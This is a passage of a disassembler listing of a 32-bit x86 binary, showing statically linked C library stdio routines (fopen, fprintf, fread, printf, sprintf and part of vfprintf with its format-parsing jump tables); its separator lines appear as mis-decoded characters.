sub_8061F34 mov dword ptr [ebx+50h], offset unk_807902C push ebx call sub_8060D24 push esi push edi push ebx call sub_8060E20 add esp, 18h test eax, eax jnz short loc_804F674 push ebx call sub_8061788 push ebx call free xor eax, eax jmp short loc_804F676 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F674: ; CODE XREF: fopen+42j mov eax, ebx loc_804F676: ; CODE XREF: fopen+1Ej fopen+52j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn fopen endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fprintf proc near ; CODE XREF: init_services_resolv+2B7p ; init_services_resolv+2DDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] test edx, edx jnz short loc_804F6A0 mov __errno, 16h mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F6A0: ; CODE XREF: fprintf+Bj mov eax, [edx] and eax, 0FFFF0000h cmp eax, 0FBAD0000h jnz short loc_804F6C0 lea eax, [ebp+arg_8] push eax push ecx push edx call vfprintf mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F6C0: ; CODE XREF: fprintf+2Cj mov __errno, 16h mov eax, 0FFFFFFFFh mov esp, ebp pop ebp retn fprintf endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden fread proc near ; CODE XREF: main+525p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] mov edx, [ebp+arg_C] mov ebx, esi imul ebx, edi test edx, edx jz short loc_804F6FD mov eax, [edx] and eax, 0FFFF0000h cmp eax, 0FBAD0000h jz short loc_804F70C loc_804F6FD: ; CODE XREF: fread+19j mov __errno, 16h xor eax, eax jmp short loc_804F72A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804F70C: ; CODE XREF: fread+27j test ebx, ebx jnz short loc_804F714 xor eax, eax jmp short loc_804F72A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F714: ; CODE XREF: fread+3Aj push ebx push ecx push edx call sub_8061D2C cmp ebx, eax jz short loc_804F728 xor edx, edx div esi jmp short loc_804F72A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F728: ; CODE XREF: fread+4Aj mov eax, edi loc_804F72A: ; CODE XREF: fread+35j fread+3Ej ... lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn fread endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804F734 proc near ; CODE XREF: fgets+3Ep var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8 push edi push esi push ebx mov edi, [ebp+arg_0] mov edx, [ebp+arg_4] mov [ebp+var_4], edx lea esi, [esi] loc_804F748: ; CODE XREF: sub_804F734+A2j mov ebx, [edi+8] sub ebx, [edi+4] test ebx, ebx jg short loc_804F766 push edi call sub_8061A70 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_804F7DC mov ebx, [edi+8] sub ebx, [edi+4] loc_804F766: ; CODE XREF: sub_804F734+1Cj cmp [ebp+arg_8], ebx ja short loc_804F76E mov ebx, [ebp+arg_8] loc_804F76E: ; CODE XREF: sub_804F734+35j push ebx mov edx, [ebp+arg_C] push edx mov eax, [edi+4] push eax call sub_80575C0 mov esi, eax add esp, 0Ch test esi, esi jz short loc_804F7BC mov edx, [ebp+var_4] sub edx, [ebp+arg_4] mov [ebp+var_8], edx mov ebx, esi sub ebx, [edi+4] cmp [ebp+arg_10], 0 jl short loc_804F7A1 inc esi cmp [ebp+arg_10], 0 jle short loc_804F7A1 inc ebx loc_804F7A1: ; CODE XREF: sub_804F734+63j ; sub_804F734+6Aj mov eax, [edi+4] push ebx push eax mov edx, [ebp+var_4] push edx call memcpy mov [edi+4], esi mov eax, [ebp+var_8] add eax, ebx jmp short loc_804F7E2 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F7BC: ; CODE XREF: sub_804F734+4Fj mov eax, [edi+4] push ebx push eax mov edx, [ebp+var_4] push edx call memcpy add esp, 0Ch add [edi+4], ebx add [ebp+var_4], ebx sub [ebp+arg_8], ebx jnz loc_804F748 loc_804F7DC: ; CODE XREF: sub_804F734+2Aj mov eax, [ebp+var_4] sub eax, [ebp+arg_4] loc_804F7E2: ; CODE XREF: sub_804F734+83j lea esp, [ebp+var_14] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804F734 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden printf proc near ; CODE XREF: getanswer+564p ; getanswer+59Fp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] lea eax, [ebp+arg_4] push eax push edx push offset unk_8078750 call vfprintf mov esp, ebp pop ebp retn printf endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sprintf proc near ; CODE XREF: main+4D7p main+A12p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] lea eax, [ebp+arg_8] push eax push edx push ecx call sub_804F820 mov esp, ebp pop ebp retn sprintf endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804F820 proc near ; CODE XREF: sprintf+Fp var_6C = byte ptr -6Ch var_60 = byte ptr -60h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 60h push edi push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_8] push 0 lea edi, [ebp+var_60] push edi call sub_8061F34 mov [ebp+var_10], offset unk_80787FC push ebx push 0FFFFFFFFh push ebx push edi call sub_8052E80 push esi mov edx, [ebp+arg_4] push edx push edi call vfprintf mov ebx, eax add esp, 24h mov eax, [ebp+var_4C] cmp [ebp+var_48], eax ja short loc_804F870 push 0 push edi call sub_8061910 jmp short loc_804F879 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F870: ; CODE XREF: sub_804F820+41j mov eax, [ebp+var_4C] mov byte ptr [eax], 0 inc [ebp+var_4C] loc_804F879: ; CODE XREF: sub_804F820+4Bj mov eax, ebx lea esp, [ebp+var_6C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804F820 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 3 dup(90h) ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden vfprintf proc near ; CODE XREF: fprintf+34p printf+10p ... var_500 = byte ptr -500h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = byte ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_450 = dword ptr -450h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_434 = dword ptr -434h var_430 = dword ptr -430h var_42C = byte ptr -42Ch var_428 = dword ptr -428h var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = byte ptr -408h var_404 = dword ptr -404h var_400 = dword ptr -400h var_3FC = dword ptr -3FCh var_3F8 = dword ptr -3F8h var_3F4 = dword ptr -3F4h var_3F0 = dword ptr -3F0h var_3EC = dword ptr -3ECh var_3E8 = byte ptr -3E8h var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4F4h push edi push esi push ebx mov esi, [ebp+arg_4] cmp [ebp+arg_0], 0 jz loc_8050E68 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 0FFFF0000h cmp edx, 0FBAD0000h jnz loc_8050E68 test byte ptr [ecx], 8 jnz loc_8050E68 test esi, esi jz loc_8050E68 mov ebx, [ebp+arg_0] test byte ptr [ebx], 2 jz short loc_804F8E4 mov edi, [ebp+arg_8] push edi push esi push ebx call sub_8052DE8 jmp loc_80529BE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F8E4: ; CODE XREF: vfprintf+47j mov [ebp+var_464], 0 push 0 push 0 push 0 call sub_805602C add esp, 0Ch mov [ebp+var_4F0], esi cmp byte ptr [esi], 0 jz short loc_804F945 nop loc_804F908: ; CODE XREF: vfprintf+BBj mov ecx, [ebp+var_4F0] cmp byte ptr [ecx], 25h jz short loc_804F945 cmp byte ptr [ecx], 0 jge short loc_804F929 push 1 push ecx push 0 call sub_805602C add esp, 0Ch test eax, eax jg short loc_804F934 loc_804F929: ; CODE XREF: vfprintf+8Ej inc [ebp+var_4F0] jmp short loc_804F93A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804F934: ; CODE XREF: vfprintf+9Fj add [ebp+var_4F0], eax loc_804F93A: ; CODE XREF: vfprintf+A7j mov ebx, [ebp+var_4F0] cmp byte ptr [ebx], 0 jnz short loc_804F908 loc_804F945: ; CODE XREF: vfprintf+7Dj vfprintf+89j mov edi, [ebp+var_4F0] mov [ebp+var_45C], edi mov [ebp+var_400], edi mov ecx, [ebp+arg_0] mov edx, [ecx+50h] mov ebx, [ebp+var_45C] sub ebx, esi push ebx push esi push ecx mov edx, [edx+34h] call edx add esp, 0Ch cmp eax, ebx jnz loc_8050E72 ; case 0x0 add [ebp+var_464], eax mov edx, [ebp+var_400] cmp byte ptr [edx], 0 jz loc_80529B8 mov [ebp+var_460], 0 mov edi, [ebp+arg_8] mov [ebp+var_468], edi mov [ebp+var_458], 0FFFFFFFFh lea esi, [esi] loc_804F9AC: ; CODE XREF: vfprintf+15D4j mov [ebp+var_46C], 0 mov [ebp+var_470], 0 mov [ebp+var_474], 0 mov [ebp+var_478], 0 mov [ebp+var_47C], 0 xor esi, esi mov [ebp+var_480], 0 mov [ebp+var_484], 0 mov [ebp+var_48C], 0 mov [ebp+var_490], 0FFFFFFFFh mov [ebp+var_494], 20h mov edx, [ebp+var_400] inc edx mov [ebp+var_400], edx mov dl, [edx] mov [ebp+var_4A0], dl and edx, 0FFh cmp edx, 78h ; switch 121 cases ja loc_8050E7C ; default jmp ds:off_804FA3C[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h off_804FA3C dd offset loc_8050E72, 1Fh dup(offset loc_8050E7C), offset loc_804FC20 ; DATA XREF: vfprintf+1ABr dd 2 dup(offset loc_8050E7C), offset loc_804FC20, offset loc_8050E7C ; jump table for switch statement dd offset loc_8050464, offset loc_8050E7C, offset loc_804FC20 dd 2 dup(offset loc_8050E7C), offset loc_804FF30, offset loc_804FC20 dd offset loc_8050E7C, offset loc_804FC20, offset loc_80500AC dd offset loc_8050E7C, offset loc_804FC20, 9 dup(offset loc_805000C) dd 0Bh dup(offset loc_8050E7C), offset loc_8050974, offset loc_8050E7C dd offset loc_8050974, 4 dup(offset loc_8050E7C), offset loc_8050218 dd 0Bh dup(offset loc_8050E7C), offset loc_805058C, offset loc_8050E7C dd offset loc_8050218, 8 dup(offset loc_8050E7C), offset loc_8050A7C dd offset loc_80504A0, 3 dup(offset loc_8050974), offset loc_8050218 dd offset loc_80504A0, 2 dup(offset loc_8050E7C), offset loc_8050218 dd offset loc_8050DA0, offset loc_8050D10, offset loc_8050580 dd offset loc_8050CA4, offset loc_8050218, offset loc_8050E7C dd offset loc_8050B34, offset loc_8050E7C, offset loc_8050574 dd 2 dup(offset loc_8050E7C), offset loc_805058C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804FC20: ; CODE XREF: vfprintf+1ABj ; vfprintf+6A2j ; DATA XREF: ... movzx edx, [ebp+var_4A0] ; case 0x20 cmp edx, 78h ; switch 121 cases ja loc_8050E7C ; default jmp ds:off_804FC38[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_804FC38 dd offset loc_8050E72, 1Fh dup(offset loc_8050E7C), offset loc_804FE1C ; DATA XREF: vfprintf+3A8r dd 2 dup(offset loc_8050E7C), offset loc_804FE54, offset loc_8050E7C ; jump table for switch statement dd offset loc_8050464, offset loc_8050E7C, offset loc_804FE80 dd 3 dup(offset loc_8050E7C), offset loc_804FE2C, offset loc_8050E7C dd offset loc_804FE3C, offset loc_80500AC, offset loc_8050E7C dd offset loc_804FE64, 9 dup(offset loc_805000C), 0Bh dup(offset loc_8050E7C) dd offset loc_8050974, offset loc_8050E7C, offset loc_8050974 dd 4 dup(offset loc_8050E7C), offset loc_8050218, 0Bh dup(offset loc_8050E7C) dd offset loc_805058C, offset loc_8050E7C, offset loc_8050218 dd 8 dup(offset loc_8050E7C), offset loc_8050A7C, offset loc_80504A0 dd 3 dup(offset loc_8050974), offset loc_8050218, offset loc_80504A0 dd 2 dup(offset loc_8050E7C), offset loc_8050218, offset loc_8050DA0 dd offset loc_8050D10, offset loc_8050580, offset loc_8050CA4 dd offset loc_8050218, offset loc_8050E7C, offset loc_8050B34 dd offset loc_8050E7C, offset loc_8050574, 2 dup(offset loc_8050E7C) dd offset loc_805058C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804FE1C: ; CODE XREF: vfprintf+3A8j ; DATA XREF: vfprintf+3B0o mov [ebp+var_470], 1 ; case 0x20 jmp loc_804FF12 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804FE2C: ; CODE XREF: vfprintf+3A8j ; DATA XREF: vfprintf+3B0o mov [ebp+var_478], 1 ; case 0x2b jmp loc_804FF12 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804FE3C: ; CODE XREF: vfprintf+3A8j ; DATA XREF: vfprintf+3B0o mov [ebp+var_474], 1 ; case 0x2d mov [ebp+var_494], 20h jmp loc_804FF12 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804FE54: ; CODE XREF: vfprintf+3A8j ; DATA XREF: vfprintf+3B0o mov [ebp+var_46C], 1 ; case 0x23 jmp loc_804FF12 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804FE64: ; CODE XREF: vfprintf+3A8j ; DATA XREF: vfprintf+3B0o cmp [ebp+var_474], 0 ; case 0x30 jnz loc_804FF12 mov [ebp+var_494], 30h jmp loc_804FF12 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804FE80: ; CODE XREF: vfprintf+3A8j ; DATA XREF: vfprintf+3B0o mov [ebp+var_47C], 1 ; case 0x27 cmp [ebp+var_458], 0FFFFFFFFh jnz short loc_804FF12 mov edx, dword_8078890 mov edx, [edx+10h] mov [ebp+var_4D8], edx xor al, al mov [ebp+var_4EC], edx mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov edx, ecx not edx dec edx push edx mov ecx, [ebp+var_4D8] push ecx lea edx, [ebp+var_3F8] push edx call sub_805602C add esp, 0Ch test eax, eax jg short loc_804FEE6 mov edx, dword_8078890 mov edx, [edx+10h] movzx edx, byte ptr [edx] mov [ebp+var_3F8], edx loc_804FEE6: ; CODE XREF: vfprintf+64Aj mov edx, dword_8078890 mov edx, [edx+14h] mov [ebp+var_458], edx cmp byte ptr [edx], 0 jz short loc_804FF08 cmp byte ptr [edx], 0FFh jz short loc_804FF08 cmp [ebp+var_3F8], 0 jnz short loc_804FF12 loc_804FF08: ; CODE XREF: vfprintf+670j ; vfprintf+675j mov [ebp+var_458], 0 loc_804FF12: ; CODE XREF: vfprintf+59Ej ; vfprintf+5AEj ... mov edx, [ebp+var_400] inc edx mov [ebp+var_400], edx mov dl, [edx] mov [ebp+var_4A0], dl cmp dl, 2Ah jnz loc_804FC20 ; case 0x20 loc_804FF30: ; CODE XREF: vfprintf+1ABj ; DATA XREF: vfprintf+1B4o mov edx, [ebp+var_400] ; case 0x2a inc edx mov [ebp+var_400], edx mov [ebp+var_3FC], edx movzx edx, byte ptr [edx] mov ebx, dword_8078FA0 mov [ebp+var_4E4], ebx test byte ptr [ebx+edx*2+1], 8 jz short loc_804FFD6 add edx, 0FFFFFFD0h mov [ebp+var_4F0], edx inc [ebp+var_3FC] mov eax, [ebp+var_3FC] movzx edx, byte ptr [eax] test byte ptr [ebx+edx*2+1], 8 jz short loc_804FFBE mov [ebp+var_4E4], ebx lea esi, [esi] loc_804FF80: ; CODE XREF: vfprintf+734j mov edi, [ebp+var_4F0] lea edx, [edi+edi*8] lea edx, [edx+edi-30h] mov [ebp+var_4E0], edx movzx edx, byte ptr [eax] add edx, [ebp+var_4E0] mov [ebp+var_4F0], edx inc [ebp+var_3FC] mov eax, [ebp+var_3FC] movzx edx, byte ptr [eax] mov ecx, [ebp+var_4E4] test byte ptr [ecx+edx*2+1], 8 jnz short loc_804FF80 loc_804FFBE: ; CODE XREF: vfprintf+6EEj cmp [ebp+var_4F0], 0 jz short loc_804FFD6 mov edx, [ebp+var_3FC] cmp byte ptr [edx], 24h jz loc_8050E7C ; default loc_804FFD6: ; CODE XREF: vfprintf+6CFj ; vfprintf+73Dj add [ebp+arg_8], 4 mov ebx, [ebp+arg_8] mov ebx, [ebx-4] mov [ebp+var_48C], ebx test ebx, ebx jge loc_805009D neg ebx mov [ebp+var_48C], ebx mov [ebp+var_494], 20h mov [ebp+var_474], 1 jmp loc_805009D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805000C: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ; DATA XREF: ... mov edx, [ebp+var_400] ; case 0x31 movzx edx, byte ptr [edx] mov [ebp+var_4F0], edx add [ebp+var_4F0], 0FFFFFFD0h inc [ebp+var_400] mov eax, [ebp+var_400] movzx edx, byte ptr [eax] mov edi, dword_8078FA0 mov [ebp+var_4E4], edi test byte ptr [edi+edx*2+1], 8 jz short loc_8050082 loc_8050044: ; CODE XREF: vfprintf+7F8j mov ecx, [ebp+var_4F0] lea edx, [ecx+ecx*8] lea edx, [edx+ecx-30h] mov [ebp+var_4E0], edx movzx edx, byte ptr [eax] add edx, [ebp+var_4E0] mov [ebp+var_4F0], edx inc [ebp+var_400] mov eax, [ebp+var_400] movzx edx, byte ptr [eax] mov ebx, [ebp+var_4E4] test byte ptr [ebx+edx*2+1], 8 jnz short loc_8050044 loc_8050082: ; CODE XREF: vfprintf+7BAj mov edi, [ebp+var_4F0] mov [ebp+var_48C], edi mov edx, [ebp+var_400] cmp byte ptr [edx], 24h jz loc_8050E7C ; default loc_805009D: ; CODE XREF: vfprintf+760j ; vfprintf+77Fj mov edx, [ebp+var_400] cmp byte ptr [edx], 2Eh jnz loc_8050218 ; case 0x4c loc_80500AC: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ; DATA XREF: ... inc [ebp+var_400] ; case 0x2e mov edx, [ebp+var_400] cmp byte ptr [edx], 2Ah jnz loc_805017C inc [ebp+var_400] mov edx, [ebp+var_400] mov [ebp+var_404], edx movzx edx, byte ptr [edx] mov ecx, dword_8078FA0 mov [ebp+var_4E4], ecx test byte ptr [ecx+edx*2+1], 8 jz short loc_8050166 add edx, 0FFFFFFD0h mov [ebp+var_4F0], edx inc [ebp+var_404] mov eax, [ebp+var_404] movzx edx, byte ptr [eax] test byte ptr [ecx+edx*2+1], 8 jz short loc_805014E mov [ebp+var_4E4], ecx lea esi, [esi] loc_8050110: ; CODE XREF: vfprintf+8C4j mov ebx, [ebp+var_4F0] lea edx, [ebx+ebx*8] lea edx, [edx+ebx-30h] mov [ebp+var_4E0], edx movzx edx, byte ptr [eax] add edx, [ebp+var_4E0] mov [ebp+var_4F0], edx inc [ebp+var_404] mov eax, [ebp+var_404] movzx edx, byte ptr [eax] mov edi, [ebp+var_4E4] test byte ptr [edi+edx*2+1], 8 jnz short loc_8050110 loc_805014E: ; CODE XREF: vfprintf+87Ej cmp [ebp+var_4F0], 0 jz short loc_8050166 mov edx, [ebp+var_404] cmp byte ptr [edx], 24h jz loc_8050E7C ; default loc_8050166: ; CODE XREF: vfprintf+85Fj ; vfprintf+8CDj add [ebp+arg_8], 4 mov ecx, [ebp+arg_8] mov ecx, [ecx-4] mov [ebp+var_490], ecx jmp loc_8050218 ; case 0x4c ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_805017C: ; CODE XREF: vfprintf+833j mov edx, [ebp+var_400] movzx edx, byte ptr [edx] mov ebx, dword_8078FA0 mov [ebp+var_4E4], ebx test byte ptr [ebx+edx*2+1], 8 jz short loc_805020C add edx, 0FFFFFFD0h mov [ebp+var_4F0], edx inc [ebp+var_400] mov eax, [ebp+var_400] movzx edx, byte ptr [eax] test byte ptr [ebx+edx*2+1], 8 jz short loc_80501FE mov [ebp+var_4E4], ebx db 8Dh,76h,0 ; lea esi, [esi+0] loc_80501C0: ; CODE XREF: vfprintf+974j mov edi, [ebp+var_4F0] lea edx, [edi+edi*8] lea edx, [edx+edi-30h] mov [ebp+var_4E0], edx movzx edx, byte ptr [eax] add edx, [ebp+var_4E0] mov [ebp+var_4F0], edx inc [ebp+var_400] mov eax, [ebp+var_400] movzx edx, byte ptr [eax] mov ecx, [ebp+var_4E4] test byte ptr [ecx+edx*2+1], 8 jnz short loc_80501C0 loc_80501FE: ; CODE XREF: vfprintf+92Dj mov ebx, [ebp+var_4F0] mov [ebp+var_490], ebx jmp short loc_8050218 ; case 0x4c ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805020C: ; CODE XREF: vfprintf+90Ej mov [ebp+var_490], 0 lea esi, [esi] loc_8050218: ; CODE XREF: vfprintf+1ABj ; vfprintf+3A8j ... mov edx, [ebp+var_400] ; case 0x4c mov dl, [edx] mov [ebp+var_4A0], dl and edx, 0FFh cmp edx, 78h ; switch 121 cases ja loc_8050E7C ; default jmp ds:off_805023C[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 off_805023C dd offset loc_8050E72, 24h dup(offset loc_8050E7C), offset loc_8050464 ; DATA XREF: vfprintf+9ADr dd 1Fh dup(offset loc_8050E7C), offset loc_8050974, offset loc_8050E7C ; jump table for switch statement dd offset loc_8050974, 4 dup(offset loc_8050E7C), offset loc_8050454 dd 0Bh dup(offset loc_8050E7C), offset loc_805058C, offset loc_8050E7C dd offset loc_8050444, 8 dup(offset loc_8050E7C), offset loc_8050A7C dd offset loc_80504A0, 3 dup(offset loc_8050974), offset loc_8050420 dd offset loc_80504A0, 2 dup(offset loc_8050E7C), offset loc_805042C dd offset loc_8050DA0, offset loc_8050D10, offset loc_8050580 dd offset loc_8050CA4, offset loc_8050454, offset loc_8050E7C dd offset loc_8050B34, offset loc_8050E7C, offset loc_8050574 dd 2 dup(offset loc_8050E7C), offset loc_805058C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8050420: ; CODE XREF: vfprintf+9ADj ; DATA XREF: vfprintf+9B4o mov [ebp+var_480], 1 ; case 0x68 jmp short loc_8050459 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805042C: ; CODE XREF: vfprintf+9ADj ; DATA XREF: vfprintf+9B4o cmp [ebp+var_484], 0 ; case 0x6c jnz short loc_8050454 ; case 0x4c mov [ebp+var_484], 1 jmp short loc_8050459 ; 